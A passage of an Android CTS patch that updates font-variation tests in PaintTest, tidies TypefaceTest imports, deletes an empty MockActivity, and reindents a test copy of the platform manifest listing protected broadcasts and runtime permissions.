     }
 
     @Test
+    public void testSetFontVariationSettings_defaultTypeface() {
+        new Paint().setFontVariationSettings("'wght' 400");
+    }
+
+    @Test
     public void testSetGetFontVariationSettings() {
+        final Paint defaultPaint = new Paint();
+
         Paint p = new Paint();
         Context context = InstrumentationRegistry.getTargetContext();
         Typeface typeface = Typeface.createFromAsset(context.getAssets(), "multiaxis.ttf");
         p.setTypeface(typeface);
 
-        // multiaxis.ttf supports "aaaa", "BBBB", "a b ", " C D" axes.
+        // multiaxis.ttf supports "wght", "PRIV", "PR12" axes.
 
         // The default variation settings should be null.
         assertNull(p.getFontVariationSettings());
 
         final String[] nonEffectiveSettings = {
-                "'bbbb' 1.0",  // unsupported tag
-                "'    ' 1.0",  // unsupported tag
-                "'AAAA' 0.7",  // unsupported tag (case sensitive)
-                "' a b' 1.3",  // unsupported tag (white space should not be ignored)
-                "'C D ' 1.3",  // unsupported tag (white space should not be ignored)
-                "'bbbb' 1.0, 'cccc' 2.0",  // none of them are supported.
+                "'slnt' 30",  // unsupported tag
+                "'BBBB' 1.0",  // unsupported tag
+                "'A   ' 1.0",  // unsupported tag
+                "'PR0 ' 1.3",  // unsupported tag
+                "'WGHT' 0.7",  // unsupported tag (case sensitive)
+                "'BBBB' 1.0, 'CCCC' 2.0",  // none of them are supported.
         };
 
         for (String notEffectiveSetting : nonEffectiveSettings) {
-            assertFalse("Must return false for " + notEffectiveSetting,
-                    p.setFontVariationSettings(notEffectiveSetting));
-            assertNull("Must not change settings for " + notEffectiveSetting,
-                    p.getFontVariationSettings());
+            if (!defaultPaint.setFontVariationSettings(notEffectiveSetting)) {
+                // Test only when the system font don't support the above axes. OEMs may add
+                // their fonts and these font may support above axes.
+                assertFalse("Must return false for " + notEffectiveSetting,
+                        p.setFontVariationSettings(notEffectiveSetting));
+                assertNull("Must not change settings for " + notEffectiveSetting,
+                        p.getFontVariationSettings());
+            }
         }
 
-        String retainSettings = "'aaaa' 1.0";
+        String retainSettings = "'wght' 400";
         assertTrue(p.setFontVariationSettings(retainSettings));
         for (String notEffectiveSetting : nonEffectiveSettings) {
             assertFalse(p.setFontVariationSettings(notEffectiveSetting));
@@ -940,15 +952,14 @@
 
         // At least one axis is supported, the settings should be applied.
         final String[] effectiveSettings = {
-                "'aaaa' 1.0",  // supported tag
-                "'a b ' .7",  // supported tag (contains whitespace)
-                "'aaaa' 1.0, 'BBBB' 0.5",  // both are supported
-                "'aaaa' 1.0, ' C D' 0.5",  // both are supported
-                "'aaaa' 1.0, 'bbbb' 0.4",  // 'bbbb' is unspported.
+                "'wght' 300",  // supported tag
+                "'wght' 300, 'PRIV' 0.5",  // both are supported
+                "'PRIV' 1.0, 'BBBB' 0.4",  // 'BBBB' is unsupported
         };
 
         for (String effectiveSetting : effectiveSettings) {
-            assertTrue(p.setFontVariationSettings(effectiveSetting));
+            assertTrue("Must return true for " + effectiveSetting,
+                    p.setFontVariationSettings(effectiveSetting));
             assertEquals(effectiveSetting, p.getFontVariationSettings());
         }
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index 3ab7425..66b55f2 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -30,8 +30,6 @@
 import android.content.res.AssetManager;
 import android.graphics.Paint;
 import android.graphics.Typeface;
-import android.graphics.fonts.FontVariationAxis;
-import android.provider.FontsContract;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
diff --git a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java b/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
deleted file mode 100644
index 3fbf255..0000000
--- a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.graphics.fonts.cts;
-
-import android.app.Activity;
-
-public class MockActivity extends Activity {
-
-}
\ No newline at end of file
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index e547c13..8ed76de 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -18,8 +18,8 @@
 */
 -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android" coreApp="true" android:sharedUserId="android.uid.system"
-          android:sharedUserLabel="@string/android_system_label">
+    package="android" coreApp="true" android:sharedUserId="android.uid.system"
+    android:sharedUserLabel="@string/android_system_label">
 
     <!-- ================================================ -->
     <!-- Special broadcasts that only the system can send -->
@@ -149,59 +149,59 @@
     <protected-broadcast android:name="android.bluetooth.devicepicker.action.LAUNCH" />
     <protected-broadcast android:name="android.bluetooth.devicepicker.action.DEVICE_SELECTED" />
     <protected-broadcast
-            android:name="android.bluetooth.headset.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.headset.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headset.profile.action.AUDIO_STATE_CHANGED" />
+        android:name="android.bluetooth.headset.profile.action.AUDIO_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headset.action.VENDOR_SPECIFIC_HEADSET_EVENT" />
+        android:name="android.bluetooth.headset.action.VENDOR_SPECIFIC_HEADSET_EVENT" />
     <protected-broadcast
-            android:name="android.bluetooth.headset.action.HF_INDICATORS_VALUE_CHANGED" />
+        android:name="android.bluetooth.headset.action.HF_INDICATORS_VALUE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.headsetclient.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.AUDIO_STATE_CHANGED" />
+        android:name="android.bluetooth.headsetclient.profile.action.AUDIO_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.AG_EVENT" />
+        android:name="android.bluetooth.headsetclient.profile.action.AG_EVENT" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.AG_CALL_CHANGED" />
+        android:name="android.bluetooth.headsetclient.profile.action.AG_CALL_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.RESULT" />
+        android:name="android.bluetooth.headsetclient.profile.action.RESULT" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.LAST_VTAG" />
+        android:name="android.bluetooth.headsetclient.profile.action.LAST_VTAG" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.a2dp.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp.profile.action.PLAYING_STATE_CHANGED" />
+        android:name="android.bluetooth.a2dp.profile.action.PLAYING_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp.profile.action.CODEC_CONFIG_CHANGED" />
+        android:name="android.bluetooth.a2dp.profile.action.CODEC_CONFIG_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp-sink.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.a2dp-sink.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp-sink.profile.action.PLAYING_STATE_CHANGED" />
+        android:name="android.bluetooth.a2dp-sink.profile.action.PLAYING_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp-sink.profile.action.AUDIO_CONFIG_CHANGED" />
+        android:name="android.bluetooth.a2dp-sink.profile.action.AUDIO_CONFIG_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.avrcp-controller.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.avrcp-controller.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.input.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.input.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.input.profile.action.PROTOCOL_MODE_CHANGED" />
+        android:name="android.bluetooth.input.profile.action.PROTOCOL_MODE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.input.profile.action.VIRTUAL_UNPLUG_STATUS" />
+        android:name="android.bluetooth.input.profile.action.VIRTUAL_UNPLUG_STATUS" />
     <protected-broadcast
-            android:name="android.bluetooth.inputhost.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.inputhost.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.map.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.map.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_RECEIVED" />
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_SENT_SUCCESSFULLY" />
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_DELIVERED_SUCCESSFULLY" />
     <protected-broadcast
-            android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_SENT" />
+        android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_SENT" />
     <protected-broadcast
-            android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_DELIVERY" />
+        android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_DELIVERY" />
     <protected-broadcast
-            android:name="android.bluetooth.pan.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.pan.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.pbap.intent.action.PBAP_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.pbap.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.sap.profile.action.CONNECTION_STATE_CHANGED" />
@@ -363,11 +363,11 @@
     <protected-broadcast android:name="android.provider.Telephony.MMS_DOWNLOADED" />
 
     <protected-broadcast
-            android:name="com.android.server.connectivityservice.CONNECTED_TO_PROVISIONING_NETWORK_ACTION" />
+        android:name="com.android.server.connectivityservice.CONNECTED_TO_PROVISIONING_NETWORK_ACTION" />
 
     <!-- Defined in RestrictionsManager -->
     <protected-broadcast
-            android:name="android.intent.action.PERMISSION_RESPONSE_RECEIVED" />
+        android:name="android.intent.action.PERMISSION_RESPONSE_RECEIVED" />
     <!-- Defined in RestrictionsManager -->
 
     <protected-broadcast android:name="android.intent.action.REQUEST_PERMISSION" />
@@ -553,28 +553,28 @@
     <!-- Used for runtime permissions related to contacts and profiles on this
         device. -->
     <permission-group android:name="android.permission-group.CONTACTS"
-                      android:icon="@drawable/perm_group_contacts"
-                      android:label="@string/permgrouplab_contacts"
-                      android:description="@string/permgroupdesc_contacts"
-                      android:priority="100" />
+        android:icon="@drawable/perm_group_contacts"
+        android:label="@string/permgrouplab_contacts"
+        android:description="@string/permgroupdesc_contacts"
+        android:priority="100" />
 
     <!-- Allows an application to read the user's contacts data.
         <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_CONTACTS"
-                android:permissionGroup="android.permission-group.CONTACTS"
-                android:label="@string/permlab_readContacts"
-                android:description="@string/permdesc_readContacts"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.CONTACTS"
+        android:label="@string/permlab_readContacts"
+        android:description="@string/permdesc_readContacts"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to write the user's contacts data.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.WRITE_CONTACTS"
-                android:permissionGroup="android.permission-group.CONTACTS"
-                android:label="@string/permlab_writeContacts"
-                android:description="@string/permdesc_writeContacts"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.CONTACTS"
+        android:label="@string/permlab_writeContacts"
+        android:description="@string/permdesc_writeContacts"
+        android:protectionLevel="dangerous" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing user's calendar                              -->
@@ -583,28 +583,28 @@
 
     <!-- Used for runtime permissions related to user's calendar. -->
     <permission-group android:name="android.permission-group.CALENDAR"
-                      android:icon="@drawable/perm_group_calendar"
-                      android:label="@string/permgrouplab_calendar"
-                      android:description="@string/permgroupdesc_calendar"
-                      android:priority="200" />
+        android:icon="@drawable/perm_group_calendar"
+        android:label="@string/permgrouplab_calendar"
+        android:description="@string/permgroupdesc_calendar"
+        android:priority="200" />
 
     <!-- Allows an application to read the user's calendar data.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_CALENDAR"
-                android:permissionGroup="android.permission-group.CALENDAR"
-                android:label="@string/permlab_readCalendar"
-                android:description="@string/permdesc_readCalendar"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.CALENDAR"
+        android:label="@string/permlab_readCalendar"
+        android:description="@string/permdesc_readCalendar"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to write the user's calendar data.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.WRITE_CALENDAR"
-                android:permissionGroup="android.permission-group.CALENDAR"
-                android:label="@string/permlab_writeCalendar"
-                android:description="@string/permdesc_writeCalendar"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.CALENDAR"
+        android:label="@string/permlab_writeCalendar"
+        android:description="@string/permdesc_writeCalendar"
+        android:protectionLevel="dangerous" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing and modifying user's SMS messages            -->
@@ -613,56 +613,56 @@
 
     <!-- Used for runtime permissions related to user's SMS messages. -->
     <permission-group android:name="android.permission-group.SMS"
-                      android:icon="@drawable/perm_group_sms"
-                      android:label="@string/permgrouplab_sms"
-                      android:description="@string/permgroupdesc_sms"
-                      android:priority="300" />
+        android:icon="@drawable/perm_group_sms"
+        android:label="@string/permgrouplab_sms"
+        android:description="@string/permgroupdesc_sms"
+        android:priority="300" />
 
     <!-- Allows an application to send SMS messages.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.SEND_SMS"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_sendSms"
-                android:description="@string/permdesc_sendSms"
-                android:permissionFlags="costsMoney"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_sendSms"
+        android:description="@string/permdesc_sendSms"
+        android:permissionFlags="costsMoney"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to receive SMS messages.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECEIVE_SMS"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_receiveSms"
-                android:description="@string/permdesc_receiveSms"
-                android:protectionLevel="dangerous"/>
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_receiveSms"
+        android:description="@string/permdesc_receiveSms"
+        android:protectionLevel="dangerous"/>
 
     <!-- Allows an application to read SMS messages.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_SMS"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_readSms"
-                android:description="@string/permdesc_readSms"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_readSms"
+        android:description="@string/permdesc_readSms"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to receive WAP push messages.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECEIVE_WAP_PUSH"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_receiveWapPush"
-                android:description="@string/permdesc_receiveWapPush"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_receiveWapPush"
+        android:description="@string/permdesc_receiveWapPush"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to monitor incoming MMS messages.
         <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECEIVE_MMS"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_receiveMms"
-                android:description="@string/permdesc_receiveMms"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_receiveMms"
+        android:description="@string/permdesc_receiveMms"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to read previously received cell broadcast
          messages and to register a content observer to get notifications when
@@ -677,10 +677,10 @@
          <p>Protection level: dangerous
          @hide Pending API council approval -->
     <permission android:name="android.permission.READ_CELL_BROADCASTS"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_readCellBroadcasts"
-                android:description="@string/permdesc_readCellBroadcasts"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_readCellBroadcasts"
+        android:description="@string/permdesc_readCellBroadcasts"
+        android:protectionLevel="dangerous" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing external storage                             -->
@@ -689,10 +689,10 @@
 
     <!-- Used for runtime permissions related to the shared external storage. -->
     <permission-group android:name="android.permission-group.STORAGE"
-                      android:icon="@drawable/perm_group_storage"
-                      android:label="@string/permgrouplab_storage"
-                      android:description="@string/permgroupdesc_storage"
-                      android:priority="900" />
+        android:icon="@drawable/perm_group_storage"
+        android:label="@string/permgrouplab_storage"
+        android:description="@string/permgroupdesc_storage"
+        android:priority="900" />
 
     <!-- Allows an application to read from external storage.
      <p>Any app that declares the {@link #WRITE_EXTERNAL_STORAGE} permission is implicitly
@@ -717,10 +717,10 @@
      <p>Protection level: dangerous
      -->
     <permission android:name="android.permission.READ_EXTERNAL_STORAGE"
-                android:permissionGroup="android.permission-group.STORAGE"
-                android:label="@string/permlab_sdcardRead"
-                android:description="@string/permdesc_sdcardRead"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.STORAGE"
+        android:label="@string/permlab_sdcardRead"
+        android:description="@string/permdesc_sdcardRead"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to write to external storage.
          <p class="note"><strong>Note:</strong> If <em>both</em> your <a
@@ -738,10 +738,10 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"
-                android:permissionGroup="android.permission-group.STORAGE"
-                android:label="@string/permlab_sdcardWrite"
-                android:description="@string/permdesc_sdcardWrite"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.STORAGE"
+        android:label="@string/permlab_sdcardWrite"
+        android:description="@string/permdesc_sdcardWrite"
+        android:protectionLevel="dangerous" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the device location                          -->
@@ -750,30 +750,30 @@
 
     <!-- Used for permissions that allow accessing the device location. -->
     <permission-group android:name="android.permission-group.LOCATION"
-                      android:icon="@drawable/perm_group_location"
-                      android:label="@string/permgrouplab_location"
-                      android:description="@string/permgroupdesc_location"
-                      android:priority="400" />
+        android:icon="@drawable/perm_group_location"
+        android:label="@string/permgrouplab_location"
+        android:description="@string/permgroupdesc_location"
+        android:priority="400" />
 
     <!-- Allows an app to access precise location.
          Alternatively, you might want {@link #ACCESS_COARSE_LOCATION}.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACCESS_FINE_LOCATION"
-                android:permissionGroup="android.permission-group.LOCATION"
-                android:label="@string/permlab_accessFineLocation"
-                android:description="@string/permdesc_accessFineLocation"
-                android:protectionLevel="dangerous|ephemeral" />
+        android:permissionGroup="android.permission-group.LOCATION"
+        android:label="@string/permlab_accessFineLocation"
+        android:description="@string/permdesc_accessFineLocation"
+        android:protectionLevel="dangerous|ephemeral" />
 
     <!-- Allows an app to access approximate location.
          Alternatively, you might want {@link #ACCESS_FINE_LOCATION}.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACCESS_COARSE_LOCATION"
-                android:permissionGroup="android.permission-group.LOCATION"
-                android:label="@string/permlab_accessCoarseLocation"
-                android:description="@string/permdesc_accessCoarseLocation"
-                android:protectionLevel="dangerous|ephemeral" />
+        android:permissionGroup="android.permission-group.LOCATION"
+        android:label="@string/permlab_accessCoarseLocation"
+        android:description="@string/permdesc_accessCoarseLocation"
+        android:protectionLevel="dangerous|ephemeral" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the device telephony                         -->
@@ -782,10 +782,10 @@
 
     <!-- Used for permissions that are associated telephony features. -->
     <permission-group android:name="android.permission-group.PHONE"
-                      android:icon="@drawable/perm_group_phone_calls"
-                      android:label="@string/permgrouplab_phone"
-                      android:description="@string/permgroupdesc_phone"
-                      android:priority="500" />
+        android:icon="@drawable/perm_group_phone_calls"
+        android:label="@string/permgrouplab_phone"
+        android:description="@string/permgroupdesc_phone"
+        android:priority="500" />
 
     <!-- Allows read only access to phone state, including the phone number of the device,
          current cellular network information, the status of any ongoing calls, and a list of any
@@ -801,30 +801,30 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_PHONE_STATE"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_readPhoneState"
-                android:description="@string/permdesc_readPhoneState"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_readPhoneState"
+        android:description="@string/permdesc_readPhoneState"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows read access to the device's phone number(s). This is a subset of the capabilities
          granted by {@link #READ_PHONE_STATE} but is exposed to ephemeral applications.
          <p>Protection level: dangerous-->
     <permission android:name="android.permission.READ_PHONE_NUMBERS"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_readPhoneNumbers"
-                android:description="@string/permdesc_readPhoneNumbers"
-                android:protectionLevel="dangerous|ephemeral" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_readPhoneNumbers"
+        android:description="@string/permdesc_readPhoneNumbers"
+        android:protectionLevel="dangerous|ephemeral" />
 
     <!-- Allows an application to initiate a phone call without going through
         the Dialer user interface for the user to confirm the call.
         <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.CALL_PHONE"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:permissionFlags="costsMoney"
-                android:label="@string/permlab_callPhone"
-                android:description="@string/permdesc_callPhone"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:permissionFlags="costsMoney"
+        android:label="@string/permlab_callPhone"
+        android:description="@string/permdesc_callPhone"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to access the IMS call service: making and
          modifying a call
@@ -832,10 +832,10 @@
         @hide
     -->
     <permission android:name="android.permission.ACCESS_IMS_CALL_SERVICE"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_accessImsCallService"
-                android:description="@string/permdesc_accessImsCallService"
-                android:protectionLevel="signature|privileged" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_accessImsCallService"
+        android:description="@string/permdesc_accessImsCallService"
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to read the user's call log.
          <p class="note"><strong>Note:</strong> If your app uses the
@@ -850,10 +850,10 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_CALL_LOG"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_readCallLog"
-                android:description="@string/permdesc_readCallLog"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_readCallLog"
+        android:description="@string/permdesc_readCallLog"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to write (but not read) the user's
          call log data.
@@ -869,28 +869,28 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.WRITE_CALL_LOG"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_writeCallLog"
-                android:description="@string/permdesc_writeCallLog"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_writeCallLog"
+        android:description="@string/permdesc_writeCallLog"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to add voicemails into the system.
          <p>Protection level: dangerous
     -->
     <permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_addVoicemail"
-                android:description="@string/permdesc_addVoicemail"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_addVoicemail"
+        android:description="@string/permdesc_addVoicemail"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to use SIP service.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.USE_SIP"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:description="@string/permdesc_use_sip"
-                android:label="@string/permlab_use_sip"
-                android:protectionLevel="dangerous"/>
+        android:permissionGroup="android.permission-group.PHONE"
+        android:description="@string/permdesc_use_sip"
+        android:label="@string/permlab_use_sip"
+        android:protectionLevel="dangerous"/>
 
     <!-- Allows an application to see the number being dialed during an outgoing
          call with the option to redirect the call to a different number or
@@ -898,20 +898,20 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.PROCESS_OUTGOING_CALLS"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_processOutgoingCalls"
-                android:description="@string/permdesc_processOutgoingCalls"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_processOutgoingCalls"
+        android:description="@string/permdesc_processOutgoingCalls"
+        android:protectionLevel="dangerous" />
 
 
     <!-- Allows the app to answer an incoming phone call.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ANSWER_PHONE_CALLS"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_answerPhoneCalls"
-                android:description="@string/permdesc_answerPhoneCalls"
-                android:protectionLevel="dangerous|runtime" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_answerPhoneCalls"
+        android:description="@string/permdesc_answerPhoneCalls"
+        android:protectionLevel="dangerous|runtime" />
 
     <!-- Allows a calling application which manages it own calls through the self-managed
          {@link android.telecom.ConnectionService} APIs.  See
@@ -933,19 +933,19 @@
          microphone audio from the device. Note that phone calls also capture audio
          but are in a separate (more visible) permission group. -->
     <permission-group android:name="android.permission-group.MICROPHONE"
-                      android:icon="@drawable/perm_group_microphone"
-                      android:label="@string/permgrouplab_microphone"
-                      android:description="@string/permgroupdesc_microphone"
-                      android:priority="600" />
+        android:icon="@drawable/perm_group_microphone"
+        android:label="@string/permgrouplab_microphone"
+        android:description="@string/permgroupdesc_microphone"
+        android:priority="600" />
 
     <!-- Allows an application to record audio.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECORD_AUDIO"
-                android:permissionGroup="android.permission-group.MICROPHONE"
-                android:label="@string/permlab_recordAudio"
-                android:description="@string/permdesc_recordAudio"
-                android:protectionLevel="dangerous"/>
+        android:permissionGroup="android.permission-group.MICROPHONE"
+        android:label="@string/permlab_recordAudio"
+        android:description="@string/permdesc_recordAudio"
+        android:protectionLevel="dangerous"/>
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the UCE Service                              -->
@@ -955,15 +955,15 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACCESS_UCE_PRESENCE_SERVICE"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:protectionLevel="signatureOrSystem"/>
+        android:permissionGroup="android.permission-group.PHONE"
+        android:protectionLevel="signatureOrSystem"/>
 
     <!-- @hide Allows an application to Access UCE-OPTIONS.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACCESS_UCE_OPTIONS_SERVICE"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:protectionLevel="signatureOrSystem"/>
+        android:permissionGroup="android.permission-group.PHONE"
+        android:protectionLevel="signatureOrSystem"/>
 
 
 
@@ -975,10 +975,10 @@
     <!-- Used for permissions that are associated with accessing
      camera or capturing images/video from the device. -->
     <permission-group android:name="android.permission-group.CAMERA"
-                      android:icon="@drawable/perm_group_camera"
-                      android:label="@string/permgrouplab_camera"
-                      android:description="@string/permgroupdesc_camera"
-                      android:priority="700" />
+        android:icon="@drawable/perm_group_camera"
+        android:label="@string/permgrouplab_camera"
+        android:description="@string/permgroupdesc_camera"
+        android:priority="700" />
 
     <!-- Required to be able to access the camera device.
          <p>This will automatically enforce the <a
@@ -990,10 +990,10 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.CAMERA"
-                android:permissionGroup="android.permission-group.CAMERA"
-                android:label="@string/permlab_camera"
-                android:description="@string/permdesc_camera"
-                android:protectionLevel="dangerous|ephemeral" />
+        android:permissionGroup="android.permission-group.CAMERA"
+        android:label="@string/permlab_camera"
+        android:description="@string/permdesc_camera"
+        android:protectionLevel="dangerous|ephemeral" />
 
 
     <!-- ====================================================================== -->
@@ -1004,28 +1004,28 @@
